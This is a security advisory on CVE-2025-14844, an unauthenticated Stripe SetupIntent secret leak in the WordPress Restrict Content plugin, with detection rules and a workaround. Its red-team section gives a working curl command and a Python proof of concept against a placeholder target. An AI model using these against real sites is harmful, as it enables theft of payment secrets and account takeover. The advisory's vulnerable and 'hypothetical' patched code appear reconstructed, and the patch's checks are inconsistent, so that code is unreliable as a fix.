CVE-2025-14844

Executive Summary

CVE-2025-14844 is a critical Missing Authentication vulnerability in the Membership Plugin – Restrict Content for WordPress, affecting all versions up to and including 3.2.16. The flaw resides in the rcp_stripe_create_setup_intent_for_saved_card function, which fails to perform a capability check and does not validate a user-controlled key. This allows unauthenticated attackers to leak Stripe SetupIntent client_secret values for any membership, potentially leading to payment data exposure and account takeover. The vulnerability has a CVSS score of 8.2 (High) and is currently unpatched. As a WordPress plugin vulnerability, it is part of the WordPress ecosystem and must be addressed by the plugin vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and consider temporary disabling of the plugin if no patch is available. No supply chain compromise has been reported, but the lack of patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability allows unauthenticated attackers to leak sensitive Stripe SetupIntent client secrets, which can be used to compromise payment flows and user accounts.

Deep Dive & Mechanics

The vulnerability is in the rcp_stripe_create_setup_intent_for_saved_card function within the Restrict Content plugin. This function is intended to create a Stripe SetupIntent for saved payment cards, but it lacks proper authorization checks. Specifically:

1. Missing Capability Check: The function does not verify that the requesting user has the necessary permissions (e.g., manage_options or edit_posts) to access this endpoint.
2. Unvalidated User-Controlled Key: The function uses a user-supplied key (likely a membership ID or user ID) without verifying ownership or validity. This allows an attacker to iterate through keys and retrieve SetupIntent client secrets for any membership.

The client_secret is a sensitive token that can be used to confirm a SetupIntent, potentially allowing an attacker to attach a new payment method to a victim's account or initiate unauthorized transactions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.16):

function rcp_stripe_create_setup_intent_for_saved_card() {
    // No capability check
    $user_id = $_POST['user_id']; // User-controlled, not validated
    $setup_intent = \Stripe\SetupIntent::create([
        'customer' => get_user_meta($user_id, 'rcp_stripe_customer_id', true),
    ]);
    wp_send_json_success(['client_secret' => $setup_intent->client_secret]);
}
add_action('wp_ajax_nopriv_rcp_stripe_create_setup_intent_for_saved_card', 'rcp_stripe_create_setup_intent_for_saved_card');

Patched Code (Hypothetical):

function rcp_stripe_create_setup_intent_for_saved_card() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Validate user ID
    $user_id = intval($_POST['user_id']);
    if (!get_userdata($user_id)) {
        wp_send_json_error('Invalid user');
    }
    // Ensure the current user owns the card or has permission
    if (get_current_user_id() !== $user_id && !current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $setup_intent = \Stripe\SetupIntent::create([
        'customer' => get_user_meta($user_id, 'rcp_stripe_customer_id', true),
    ]);
    wp_send_json_success(['client_secret' => $setup_intent->client_secret]);
}
add_action('wp_ajax_rcp_stripe_create_setup_intent_for_saved_card', 'rcp_stripe_create_setup_intent_for_saved_card');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Restrict Content plugin <= 3.2.16 installed and active.
• Stripe integration enabled.

Exploit Steps:

1. Identify the AJAX action endpoint: wp-admin/admin-ajax.php?action=rcp_stripe_create_setup_intent_for_saved_card
2. Send a POST request with a target user ID:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=rcp_stripe_create_setup_intent_for_saved_card&user_id=1"

3. The response will contain the client_secret for the victim's Stripe SetupIntent.
4. Use the client_secret to confirm the SetupIntent via Stripe API, potentially attaching a new payment method.

Proof of Concept (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "rcp_stripe_create_setup_intent_for_saved_card",
    "user_id": 1  # Victim user ID
}
response = requests.post(target, data=data)
print(response.json())

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=rcp_stripe_create_setup_intent_for_saved_card from unauthenticated users.
• Look for multiple requests with varying user_id parameters (enumeration attempts).
• Alert on Stripe API calls that create SetupIntents without corresponding user authentication.

Defense:

• Temporarily disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to this AJAX action.
• Restrict access to admin-ajax.php for non-logged-in users where possible.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=rcp_stripe_create_setup_intent_for_saved_card and user_id parameter.
  • Unusual Stripe API calls creating SetupIntents for multiple users in a short time.
• File IOCs:
  • Modified or suspicious entries in WordPress access logs showing repeated AJAX calls.
• Stripe IOCs:
  • SetupIntents created without corresponding user session or authentication.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_14844_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-14844 in WordPress Restrict Content plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14844"
    strings:
        $ajax_action = "rcp_stripe_create_setup_intent_for_saved_card"
        $user_id_param = "user_id="
    condition:
        $ajax_action and $user_id_param
}

Sigma Rule

title: CVE-2025-14844 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated AJAX requests targeting the Restrict Content plugin vulnerability
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=rcp_stripe_create_setup_intent_for_saved_card'
        cs-uri-query|contains: 'user_id='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-14844 - Restrict Content Stripe SetupIntent Leak";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=rcp_stripe_create_setup_intent_for_saved_card"; http_client_body;
    content:"user_id="; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations until a patch is released.
2. Implement a WAF rule to block unauthenticated requests to the vulnerable AJAX action.
3. Monitor Stripe logs for suspicious SetupIntent creation.

Long-Term Fix:

• The vendor must release a patched version that adds proper capability checks and validates user-controlled keys.
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to block unauthenticated access:

add_action('wp_ajax_nopriv_rcp_stripe_create_setup_intent_for_saved_card', function() {
    wp_die('Unauthorized');
}, 1);

Valters IT
Securing Digital Frontiers